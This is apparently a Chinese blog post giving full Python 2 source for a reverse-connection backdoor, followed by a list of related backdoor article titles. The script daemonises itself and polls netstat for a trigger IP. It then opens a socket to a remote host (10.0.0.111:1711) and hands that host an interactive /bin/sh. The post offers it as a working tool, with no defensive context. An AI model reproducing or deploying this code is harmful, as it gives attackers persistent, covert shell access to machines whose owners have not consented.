python 反向连接后门
2011-03-15 15:09
411 查看
1)首先daemon化
2)然后用 netstat命令,检测是否指定的IP(192.168.1.111)连接上,有,则激活
无,则睡眠几分钟(这个时间可根据需要自行调节)
3)激活后,开一个子进程,创建socket,与运行了监听程序的IP进行连接,并执行一个shell,将该
shell的输入输出重定向到socket.
4)父进程则等待 shell子进程的执行,如果执行完毕,就继续 检测
周而复始…
2)然后用 netstat命令,检测是否指定的IP(192.168.1.111)连接上,有,则激活
无,则睡眠几分钟(这个时间可根据需要自行调节)
3)激活后,开一个子进程,创建socket,与运行了监听程序的IP进行连接,并执行一个shell,将该
shell的输入输出重定向到socket.
4)父进程则等待 shell子进程的执行,如果执行完毕,就继续 检测
周而复始…
#!/usr/bin/python import os import sys import socket import time def daemon (): try: pid = os.fork() if pid > 0: sys.exit(0) except OSError, e: print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror) sys.exit(1) os.chdir("/") os.setsid() os.umask(0) try: pid = os.fork() if pid > 0: print "Daemon PID %d" % pid sys.exit(0) except OSError, e: print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) sys.exit(1) def shell (host = '10.0.0.111', port = 1711): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) f = s.fileno() os.dup2(f, 0) os.dup2(f, 1) os.dup2(f, 2) os.execl("/bin/sh", "sh", "-i") except socket.error, (errno, errstr): print "connect error%d\n" % os.getpid() time.sleep(10) sys.exit(127) if __name__ == "__main__": daemon() while(True): (cin, cout) = os.popen4("netstat -nt | grep 192.168.1.111") str = cout.read() try: os.wait() except OSError, e: pass if str != '': print str try: pid = os.fork() if pid > 0: print 'parent wait:%d\n' % os.getpid() try: os.wait() except OSError, e: pass else: print 'ready to connect:%d\n' % os.getpid() shell() except OSError, e: sys.exit(1) else: print "start sleep 5 mins:%d\n" % os.getpid() time.sleep(10)
相关文章推荐
- python 反向连接后门
- 【Python】如何基于Python写一个TCP反向连接后门
- 如何基于Python写一个TCP反向连接后门
- 安全之路 —— 单管道反向连接后门解析
- 反向连接后门的使用
- vc++反向连接后门
- python 写的一个反向连接的shell
- vc++反向连接后门
- 基于visual c++之windows核心编程代码分析(41)实现反向连接后门
- 1k(程序体积1kb) 反向连接,零管道后门
- 黑客编程技术--反向后门连接的实现
- 基于visual c++之windows核心编程代码分析(41)实现反向连接后门
- python编写ttyshell的反向链接后门
- 反向连接后门源码
- 【技术分享】利用 Python 打造反向 TCP 后门
- 安全之路 —— 零管道反向连接后门解析
- 1k(程序体积1kb) 反向连接,零管道后门(转)
- iOS多用连接、反向协议、安全
- Python连接SqlServer练习记录
- 随笔记:如何使用Python连接(/操作)Oracle数据库(Windows平台下)